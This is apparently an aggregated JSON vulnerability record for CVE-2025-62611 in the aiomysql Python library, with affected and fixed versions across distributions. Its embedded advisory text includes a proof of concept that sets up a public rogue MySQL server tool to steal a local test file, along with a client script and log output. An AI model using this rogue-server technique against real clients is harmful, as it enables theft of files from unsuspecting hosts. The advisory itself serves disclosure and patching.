{"id":"CVE-2025-62611","aliases":["DEBIAN-CVE-2025-62611","EUVD-2025-35594","GHSA-r397-ff8c-wv2g","OESA-2025-2616","OESA-2025-2617","OESA-2025-2618","OESA-2025-2619","OESA-2025-2675","PYSEC-2026-1110","ROOT-APP-PYPI-CVE-2025-62611","UBUNTU-CVE-2025-62611"],"status":"published","title":"aiomysql allows arbitrary access to client files through vulnerability of a malicious MySQL server","description":"aiomysql is a library for accessing a MySQL database from the asyncio. Prior to version 0.3.0, the client-side settings are not checked before sending local files to MySQL server, which allows obtaining arbitrary files from the client using a rogue server. It is possible to create a rogue MySQL server that emulates authorization, ignores client flags and requests arbitrary files from the client by sending a LOAD_LOCAL instruction packet. This issue has been patched in version 0.3.0.","severity":{"version":"4.0","score":8.2,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.00391,"percentile":0.33749,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-73"],"published":"2025-10-22T16:47:10Z","modified":"2026-10-28T02:31:09Z","fixes":[{"ecosystem":"PyPI","package":"aiomysql","fixed_in":["0.3.0"],"sources":["ghsa","osv"]},{"ecosystem":"Debian:14","package":"aiomysql","fixed_in":["0.3.2-1"],"sources":["osv"]},{"ecosystem":"openEuler:24.03-LTS-SP2","package":"python-aiomysql","fixed_in":["0.2.0-2.oe2403sp2"],"sources":["osv"]},{"ecosystem":"openEuler:22.03-LTS-SP3","package":"python-aiomysql","fixed_in":["0.0.21-2.oe2203sp3"],"sources":["osv"]},{"ecosystem":"openEuler:22.03-LTS-SP4","package":"python-aiomysql","fixed_in":["0.0.21-2.oe2203sp4"],"sources":["osv"]},{"ecosystem":"openEuler:24.03-LTS-SP1","package":"python-aiomysql","fixed_in":["0.2.0-2.oe2403sp1"],"sources":["osv"]},{"ecosystem":"openEuler:24.03-LTS","package":"python-aiomysql","fixed_in":["0.2.0-2.oe2403"],"sources":["osv"]},{"ecosystem":"Root:PyPI","package":"aiomysql","fixed_in":["0.2.0+aikido.2","0.2.0+aikido.3"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"aiomysql","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"0.2.0"},{"fixed":"0.3.0"}]}]},{"source":"osv","ecosystem":"Debian:12","package":"aiomysql","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.1.1-2","0.3.2-1","0.3.2-2"]},{"source":"osv","ecosystem":"Debian:13","package":"aiomysql","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.1.1-2","0.3.2-1","0.3.2-2"]},{"source":"osv","ecosystem":"Debian:14","package":"aiomysql","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.3.2-1"}]}],"versions":["0.1.1-2"]},{"source":"osv","ecosystem":"PyPI","package":"aiomysql","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.3.0"}]}],"versions":["0.0.1","0.0.10","0.0.11","0.0.12","0.0.13","0.0.14","0.0.15","0.0.16","0.0.17","0.0.19","0.0.2","0.0.20","0.0.21","0.0.22","0.0.3","0.0.4","0.0.5","0.0.6","0.0.7","0.0.8","0.0.9","0.1.0","0.1.0rc1","0.1.0rc2","0.1.1","0.2.0"]},{"source":"osv","ecosystem":"openEuler:24.03-LTS-SP2","package":"python-aiomysql","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.2.0-2.oe2403sp2"}]}]},{"source":"osv","ecosystem":"openEuler:22.03-LTS-SP3","package":"python-aiomysql","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.21-2.oe2203sp3"}]}]},{"source":"osv","ecosystem":"openEuler:22.03-LTS-SP4","package":"python-aiomysql","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.21-2.oe2203sp4"}]}]},{"source":"osv","ecosystem":"openEuler:24.03-LTS-SP1","package":"python-aiomysql","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.2.0-2.oe2403sp1"}]}]},{"source":"osv","ecosystem":"openEuler:24.03-LTS","package":"python-aiomysql","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.2.0-2.oe2403"}]}]},{"source":"osv","ecosystem":"PyPI","package":"aiomysql","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.3.0"}]}],"versions":["0.0.1","0.0.10","0.0.11","0.0.12","0.0.13","0.0.14","0.0.15","0.0.16","0.0.17","0.0.19","0.0.2","0.0.20","0.0.21","0.0.22","0.0.3","0.0.4","0.0.5","0.0.6","0.0.7","0.0.8","0.0.9","0.1.0","0.1.0rc1","0.1.0rc2","0.1.1","0.2.0"]},{"source":"osv","ecosystem":"Root:PyPI","package":"aiomysql","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.2.0+aikido.2"},{"fixed":"0.2.0+aikido.3"}]}]},{"source":"osv","ecosystem":"Ubuntu:20.04:LTS","package":"aiomysql","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.0.20-1","0.0.20-2"]},{"source":"osv","ecosystem":"Ubuntu:22.04:LTS","package":"aiomysql","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.0.20-2","0.0.20-3"]},{"source":"osv","ecosystem":"Ubuntu:24.04:LTS","package":"aiomysql","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.1.1-2"]},{"source":"osv","ecosystem":"Ubuntu:25.10","package":"aiomysql","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.1.1-2"]},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"aiomysql","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.3.2-2"]},{"source":"osv","ecosystem":"Ubuntu:26.04:LTS","package":"aiomysql","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.1.1-2","0.3.2-1","0.3.2-2"]}],"products":[{"vendor":"aio-libs","product":"aiomysql"}],"references":[{"url":"https://github.com/aio-libs/aiomysql/security/advisories/GHSA-r397-ff8c-wv2g","tags":["x_refsource_CONFIRM","advisory","web","report"]},{"url":"https://github.com/aio-libs/aiomysql/pull/1044","tags":["x_refsource_MISC","fix","web","report"]},{"url":"https://github.com/aio-libs/aiomysql/commit/32c4520dae3711367ded74a4726dcb8bb8919538","tags":["x_refsource_MISC","fix","web","report"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-62611","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-r397-ff8c-wv2g","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/62xxx/CVE-2025-62611.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2025-62611","tags":["advisory"]},{"url":"https://github.com/aio-libs/aiomysql","tags":["package"]},{"url":"https://www.openeuler.org/zh/security/security-bulletins/detail/?id=openEuler-SA-2025-2616","tags":["advisory"]},{"url":"https://www.openeuler.org/zh/security/security-bulletins/detail/?id=openEuler-SA-2025-2617","tags":["advisory"]},{"url":"https://www.openeuler.org/zh/security/security-bulletins/detail/?id=openEuler-SA-2025-2618","tags":["advisory"]},{"url":"https://www.openeuler.org/zh/security/security-bulletins/detail/?id=openEuler-SA-2025-2619","tags":["advisory"]},{"url":"https://www.openeuler.org/zh/security/security-bulletins/detail/?id=openEuler-SA-2025-2675","tags":["advisory"]},{"url":"https://pypi.org/project/aiomysql","tags":["package"]},{"url":"https://ubuntu.com/security/CVE-2025-62611","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2025-62611","tags":["report"]}],"sources":{"cve":[{"id":"CVE-2025-62611","title":"aiomysql allows arbitrary access to client files through vulnerability of a malicious MySQL server","description":"aiomysql is a library for accessing a MySQL database from the asyncio. Prior to version 0.3.0, the client-side settings are not checked before sending local files to MySQL server, which allows obtaining arbitrary files from the client using a rogue server. It is possible to create a rogue MySQL server that emulates authorization, ignores client flags and requests arbitrary files from the client by sending a LOAD_LOCAL instruction packet. This issue has been patched in version 0.3.0.","status":"published","published":"2025-10-22T19:29:26.708Z","modified":"2025-10-22T19:44:02.865Z","cvss":[{"version":"4.0","score":8.2,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","level":"high","assessor":"cna"}],"cwes":["CWE-73"],"updated_at":"2026-11-02T14:32:54.534202Z"}],"euvd":[{"id":"EUVD-2025-35594","description":"aiomysql is a library for accessing a MySQL database from the asyncio. Prior to version 0.3.0, the client-side settings are not checked before sending local files to MySQL server, which allows obtaining arbitrary files from the client using a rogue server. It is possible to create a rogue MySQL server that emulates authorization, ignores client flags and requests arbitrary files from the client by sending a LOAD_LOCAL instruction packet. This issue has been patched in version 0.3.0.","status":"published","published":"2025-10-22T19:29:26Z","modified":"2025-10-22T19:44:02Z","cvss":[{"version":"4.0","score":8.2,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","level":"high"}],"updated_at":"2026-11-02T19:49:38.250854Z"}],"ghsa":[{"id":"GHSA-r397-ff8c-wv2g","title":"aiomysql allows arbitrary access to client files through vulnerability of a malicious MySQL server","description":"### Summary\nThe client-side settings are not checked before sending local files to MySQL server, which allows obtaining arbitrary files from the client using a rogue server.\n\n### Details\nIt is possible to create a rogue MySQL server that emulates authorization, ignores client flags and requests arbitrary files from the client by sending a LOAD_LOCAL instruction packet. Related to CVE-2019-2503.\n\n### PoC\nFirst, start up a rogue MySQL server that ignores client-side flags and sends LOAD_LOCAL packet to the client – tested with https://github.com/rmb122/rogue_mysql_server\n\n1. Create a file to be stolen by the rogue server: `echo \"gotcha\" \u003e /tmp/my_secret_file.txt`\n2. Clone the repo: `git clone git@github.com:rmb122/rogue_mysql_server.git \u0026\u0026 cd rogue_mysql_server`\n3. Build the server: `make rogue_mysql_server`\n4. Generate a sample config: `rogue_mysql_server -generate`\n5. In `config.yaml` change `file_list` to `[\"/tmp/my_secret_file.txt\"]`\n6. Run the server: `./rogue_mysql_server -config config.yaml`\n\nNext, the vulnerability can be seen in action with the following script, which can be run in a second terminal:\n```python3\nimport asyncio\n\nimport aiomysql\n\n\nloop = asyncio.get_event_loop()\n\n\nasync def test_example():\n    conn = await aiomysql.connect(\n        host=\"127.0.0.1\",\n        port=3306,\n        user=\"root\",\n        password=\"\",\n        db=\"mysql\",\n        loop=loop,\n        local_infile=0, # note that we explicitly forbid local_infile\n    )\n\n    cursor = await conn.cursor()\n    await cursor.execute(\"SELECT 1\")\n    print(cursor.description)\n    r = await cursor.fetchall()\n    print(r)\n    await cursor.close()\n    conn.close()\n\n\nloop.run_until_complete(test_example())\n```\n\nThe rogue server will output log messages indicating successful file read and save the contents in the `loot/` directory\n```\nlevel=info msg=\"Client from addr [xxx], ID [1] try to query [select 1]\"\nlevel=info msg=\"Now try to read file [/tmp/my_secret_file.txt] from addr [xxx], ID [1]\"\nlevel=info msg=\"Read success, stored at [./loot/xxx/1757403852610__tmp_top_secret_file.txt]\"\nlevel=info msg=\"Client leaved, Addr [xxx], ID [1]\"\n```\n\n### Impact\nThis vulnerability impacts products and environments that require connection to untrusted MySQL servers or allow the possibility for them to be compromised.\n\n### Fix suggestion\nCan be fixed by porting relevant changes from PyMySQL – https://github.com/PyMySQL/PyMySQL/commit/b5e17cee46e0706dbfd707cdd2024452f0fb3267","status":"published","published":"2025-10-22T16:47:10Z","modified":"2025-10-23T17:38:48Z","cvss":[{"version":"4.0","score":8.2,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-73"],"updated_at":"2026-11-02T14:39:03.380616Z"}],"nvd":[{"id":"CVE-2025-62611","description":"aiomysql is a library for accessing a MySQL database from the asyncio. Prior to version 0.3.0, the client-side settings are not checked before sending local files to MySQL server, which allows obtaining arbitrary files from the client using a rogue server. It is possible to create a rogue MySQL server that emulates authorization, ignores client flags and requests arbitrary files from the client by sending a LOAD_LOCAL instruction packet. This issue has been patched in version 0.3.0.","status":"published","published":"2025-10-22T20:15:38.363Z","modified":"2026-10-08T11:10:00.25Z","cvss":[{"version":"4.0","score":8.2,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high","assessor":"secondary"}],"cwes":["CWE-73"],"updated_at":"2026-11-02T14:11:39.579859Z"}],"osv":[{"id":"CVE-2025-62611","title":"aiomysql allows arbitrary access to client files through vulnerability of a malicious MySQL server","description":"aiomysql is a library for accessing a MySQL database from the asyncio. Prior to version 0.3.0, the client-side settings are not checked before sending local files to MySQL server, which allows obtaining arbitrary files from the client using a rogue server. It is possible to create a rogue MySQL server that emulates authorization, ignores client flags and requests arbitrary files from the client by sending a LOAD_LOCAL instruction packet. This issue has been patched in version 0.3.0.","status":"published","published":"2025-10-22T19:29:26.708Z","modified":"2026-10-28T02:31:09.369075283Z","cvss":[{"version":"4.0","score":8.2,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-73"],"updated_at":"2026-11-02T15:44:51.851511Z"},{"id":"DEBIAN-CVE-2025-62611","description":"aiomysql is a library for accessing a MySQL database from the asyncio. Prior to version 0.3.0, the client-side settings are not checked before sending local files to MySQL server, which allows obtaining arbitrary files from the client using a rogue server. It is possible to create a rogue MySQL server that emulates authorization, ignores client flags and requests arbitrary files from the client by sending a LOAD_LOCAL instruction packet. This issue has been patched in version 0.3.0.","status":"published","published":"2025-10-22T20:15:38.363Z","modified":"2026-10-09T09:47:27.875343577Z","cvss":[{"version":"4.0","score":8.2,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high"}],"updated_at":"2026-11-02T15:45:47.697959Z"},{"id":"GHSA-r397-ff8c-wv2g","title":"aiomysql allows arbitrary access to client files through vulnerability of a malicious MySQL server","description":"### Summary\nThe client-side settings are not checked before sending local files to MySQL server, which allows obtaining arbitrary files from the client using a rogue server.\n\n### Details\nIt is possible to create a rogue MySQL server that emulates authorization, ignores client flags and requests arbitrary files from the client by sending a LOAD_LOCAL instruction packet. Related to CVE-2019-2503.\n\n### PoC\nFirst, start up a rogue MySQL server that ignores client-side flags and sends LOAD_LOCAL packet to the client – tested with https://github.com/rmb122/rogue_mysql_server\n\n1. Create a file to be stolen by the rogue server: `echo \"gotcha\" \u003e /tmp/my_secret_file.txt`\n2. Clone the repo: `git clone git@github.com:rmb122/rogue_mysql_server.git \u0026\u0026 cd rogue_mysql_server`\n3. Build the server: `make rogue_mysql_server`\n4. Generate a sample config: `rogue_mysql_server -generate`\n5. In `config.yaml` change `file_list` to `[\"/tmp/my_secret_file.txt\"]`\n6. Run the server: `./rogue_mysql_server -config config.yaml`\n\nNext, the vulnerability can be seen in action with the following script, which can be run in a second terminal:\n```python3\nimport asyncio\n\nimport aiomysql\n\n\nloop = asyncio.get_event_loop()\n\n\nasync def test_example():\n    conn = await aiomysql.connect(\n        host=\"127.0.0.1\",\n        port=3306,\n        user=\"root\",\n        password=\"\",\n        db=\"mysql\",\n        loop=loop,\n        local_infile=0, # note that we explicitly forbid local_infile\n    )\n\n    cursor = await conn.cursor()\n    await cursor.execute(\"SELECT 1\")\n    print(cursor.description)\n    r = await cursor.fetchall()\n    print(r)\n    await cursor.close()\n    conn.close()\n\n\nloop.run_until_complete(test_example())\n```\n\nThe rogue server will output log messages indicating successful file read and save the contents in the `loot/` directory\n```\nlevel=info msg=\"Client from addr [xxx], ID [1] try to query [select 1]\"\nlevel=info msg=\"Now try to read file [/tmp/my_secret_file.txt] from addr [xxx], ID [1]\"\nlevel=info msg=\"Read success, stored at [./loot/xxx/1757403852610__tmp_top_secret_file.txt]\"\nlevel=info msg=\"Client leaved, Addr [xxx], ID [1]\"\n```\n\n### Impact\nThis vulnerability impacts products and environments that require connection to untrusted MySQL servers or allow the possibility for them to be compromised.\n\n### Fix suggestion\nCan be fixed by porting relevant changes from PyMySQL – https://github.com/PyMySQL/PyMySQL/commit/b5e17cee46e0706dbfd707cdd2024452f0fb3267","status":"published","published":"2025-10-22T16:47:10Z","modified":"2026-09-10T03:50:30.188210278Z","cvss":[{"version":"4.0","score":8.2,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-73"],"updated_at":"2026-11-02T15:46:55.122811Z"},{"id":"OESA-2025-2616","title":"python-aiomysql security update","description":"**aiomysql** is a \u0026amp;quot;driver\u0026amp;quot; for accessing a `MySQL` database from the asyncio_ (PEP-3156/tulip) framework. It depends on and reuses most parts of PyMySQL_ . *aiomysql* tries to be like awesome aiopg_ library and preserve same api, look and feel.\r\n\r\nSecurity Fix(es):\n\naiomysql is a library for accessing a MySQL database from the asyncio. Prior to version 0.3.0, the client-side settings are not checked before sending local files to MySQL server, which allows obtaining arbitrary files from the client using a rogue server. It is possible to create a rogue MySQL server that emulates authorization, ignores client flags and requests arbitrary files from the client by sending a LOAD_LOCAL instruction packet. This issue has been patched in version 0.3.0.(CVE-2025-62611)","status":"published","published":"2025-10-31T11:09:44Z","modified":"2026-08-18T01:19:18.264632041Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high"}],"updated_at":"2026-11-02T15:52:44.957082Z"},{"id":"OESA-2025-2617","title":"python-aiomysql security update","description":"**aiomysql** is a \u0026amp;quot;driver\u0026amp;quot; for accessing a `MySQL` database from the asyncio_ (PEP-3156/tulip) framework. It depends on and reuses most parts of PyMySQL_ . *aiomysql* tries to be like awesome aiopg_ library and preserve same api, look and feel.\r\n\r\nSecurity Fix(es):\n\naiomysql is a library for accessing a MySQL database from the asyncio. Prior to version 0.3.0, the client-side settings are not checked before sending local files to MySQL server, which allows obtaining arbitrary files from the client using a rogue server. It is possible to create a rogue MySQL server that emulates authorization, ignores client flags and requests arbitrary files from the client by sending a LOAD_LOCAL instruction packet. This issue has been patched in version 0.3.0.(CVE-2025-62611)","status":"published","published":"2025-11-07T11:09:44Z","modified":"2026-08-18T01:19:18.350955967Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high"}],"updated_at":"2026-11-02T15:52:44.957082Z"},{"id":"OESA-2025-2618","title":"python-aiomysql security update","description":"**aiomysql** is a \u0026amp;quot;driver\u0026amp;quot; for accessing a `MySQL` database from the asyncio_ (PEP-3156/tulip) framework. It depends on and reuses most parts of PyMySQL_ . *aiomysql* tries to be like awesome aiopg_ library and preserve same api, look and feel.\r\n\r\nSecurity Fix(es):\n\naiomysql is a library for accessing a MySQL database from the asyncio. Prior to version 0.3.0, the client-side settings are not checked before sending local files to MySQL server, which allows obtaining arbitrary files from the client using a rogue server. It is possible to create a rogue MySQL server that emulates authorization, ignores client flags and requests arbitrary files from the client by sending a LOAD_LOCAL instruction packet. This issue has been patched in version 0.3.0.(CVE-2025-62611)","status":"published","published":"2025-11-07T11:09:44Z","modified":"2026-08-18T01:19:18.386321228Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high"}],"updated_at":"2026-11-02T15:52:44.957082Z"},{"id":"OESA-2025-2619","title":"python-aiomysql security update","description":"**aiomysql** is a \u0026amp;quot;driver\u0026amp;quot; for accessing a `MySQL` database from the asyncio_ (PEP-3156/tulip) framework. It depends on and reuses most parts of PyMySQL_ . *aiomysql* tries to be like awesome aiopg_ library and preserve same api, look and feel.\r\n\r\nSecurity Fix(es):\n\naiomysql is a library for accessing a MySQL database from the asyncio. Prior to version 0.3.0, the client-side settings are not checked before sending local files to MySQL server, which allows obtaining arbitrary files from the client using a rogue server. It is possible to create a rogue MySQL server that emulates authorization, ignores client flags and requests arbitrary files from the client by sending a LOAD_LOCAL instruction packet. This issue has been patched in version 0.3.0.(CVE-2025-62611)","status":"published","published":"2025-11-07T11:09:44Z","modified":"2026-08-18T01:19:18.464710639Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high"}],"updated_at":"2026-11-02T15:52:44.957082Z"},{"id":"OESA-2025-2675","title":"python-aiomysql security update","description":"**aiomysql** is a \u0026amp;quot;driver\u0026amp;quot; for accessing a `MySQL` database from the asyncio_ (PEP-3156/tulip) framework. It depends on and reuses most parts of PyMySQL_ . *aiomysql* tries to be like awesome aiopg_ library and preserve same api, look and feel.\r\n\r\nSecurity Fix(es):\n\naiomysql is a library for accessing a MySQL database from the asyncio. Prior to version 0.3.0, the client-side settings are not checked before sending local files to MySQL server, which allows obtaining arbitrary files from the client using a rogue server. It is possible to create a rogue MySQL server that emulates authorization, ignores client flags and requests arbitrary files from the client by sending a LOAD_LOCAL instruction packet. This issue has been patched in version 0.3.0.(CVE-2025-62611)","status":"published","published":"2025-11-14T11:09:47Z","modified":"2026-08-18T01:19:18.531393713Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high"}],"updated_at":"2026-11-02T15:52:44.957082Z"},{"id":"PYSEC-2026-1110","title":"aiomysql allows arbitrary access to client files through vulnerability of a malicious MySQL server","description":"### Summary\nThe client-side settings are not checked before sending local files to MySQL server, which allows obtaining arbitrary files from the client using a rogue server.\n\n### Details\nIt is possible to create a rogue MySQL server that emulates authorization, ignores client flags and requests arbitrary files from the client by sending a LOAD_LOCAL instruction packet. Related to CVE-2019-2503.\n\n### PoC\nFirst, start up a rogue MySQL server that ignores client-side flags and sends LOAD_LOCAL packet to the client – tested with https://github.com/rmb122/rogue_mysql_server\n\n1. Create a file to be stolen by the rogue server: `echo \"gotcha\" \u003e /tmp/my_secret_file.txt`\n2. Clone the repo: `git clone git@github.com:rmb122/rogue_mysql_server.git \u0026\u0026 cd rogue_mysql_server`\n3. Build the server: `make rogue_mysql_server`\n4. Generate a sample config: `rogue_mysql_server -generate`\n5. In `config.yaml` change `file_list` to `[\"/tmp/my_secret_file.txt\"]`\n6. Run the server: `./rogue_mysql_server -config config.yaml`\n\nNext, the vulnerability can be seen in action with the following script, which can be run in a second terminal:\n```python3\nimport asyncio\n\nimport aiomysql\n\n\nloop = asyncio.get_event_loop()\n\n\nasync def test_example():\n    conn = await aiomysql.connect(\n        host=\"127.0.0.1\",\n        port=3306,\n        user=\"root\",\n        password=\"\",\n        db=\"mysql\",\n        loop=loop,\n        local_infile=0, # note that we explicitly forbid local_infile\n    )\n\n    cursor = await conn.cursor()\n    await cursor.execute(\"SELECT 1\")\n    print(cursor.description)\n    r = await cursor.fetchall()\n    print(r)\n    await cursor.close()\n    conn.close()\n\n\nloop.run_until_complete(test_example())\n```\n\nThe rogue server will output log messages indicating successful file read and save the contents in the `loot/` directory\n```\nlevel=info msg=\"Client from addr [xxx], ID [1] try to query [select 1]\"\nlevel=info msg=\"Now try to read file [/tmp/my_secret_file.txt] from addr [xxx], ID [1]\"\nlevel=info msg=\"Read success, stored at [./loot/xxx/1757403852610__tmp_top_secret_file.txt]\"\nlevel=info msg=\"Client leaved, Addr [xxx], ID [1]\"\n```\n\n### Impact\nThis vulnerability impacts products and environments that require connection to untrusted MySQL servers or allow the possibility for them to be compromised.\n\n### Fix suggestion\nCan be fixed by porting relevant changes from PyMySQL – https://github.com/PyMySQL/PyMySQL/commit/b5e17cee46e0706dbfd707cdd2024452f0fb3267","status":"published","published":"2026-07-07T16:03:08.02397Z","modified":"2026-07-07T17:46:11.000969053Z","cvss":[{"version":"4.0","score":8.2,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","level":"high"}],"updated_at":"2026-11-02T15:52:54.622769Z"},{"id":"UBUNTU-CVE-2025-62611","description":"aiomysql is a library for accessing a MySQL database from the asyncio. Prior to version 0.3.0, the client-side settings are not checked before sending local files to MySQL server, which allows obtaining arbitrary files from the client using a rogue server. It is possible to create a rogue MySQL server that emulates authorization, ignores client flags and requests arbitrary files from the client by sending a LOAD_LOCAL instruction packet. This issue has been patched in version 0.3.0.","status":"published","published":"2025-10-22T20:15:00Z","modified":"2026-10-17T12:58:38.13627926Z","cvss":[{"version":"4.0","score":8.2,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","level":"high"}],"updated_at":"2026-11-02T16:55:50.817402Z"},{"id":"ROOT-APP-PYPI-CVE-2025-62611","title":"CVE-2025-62611 in aiomysql - Patched by Root","description":"Root has patched CVE-2025-62611 in the aiomysql package for Root:PyPI. Multiple fixed versions available.","status":"published","published":"2026-10-05T15:11:15Z","modified":"2026-10-05T16:15:03.382442685Z","updated_at":"2026-11-02T15:53:27.940619Z"}]}}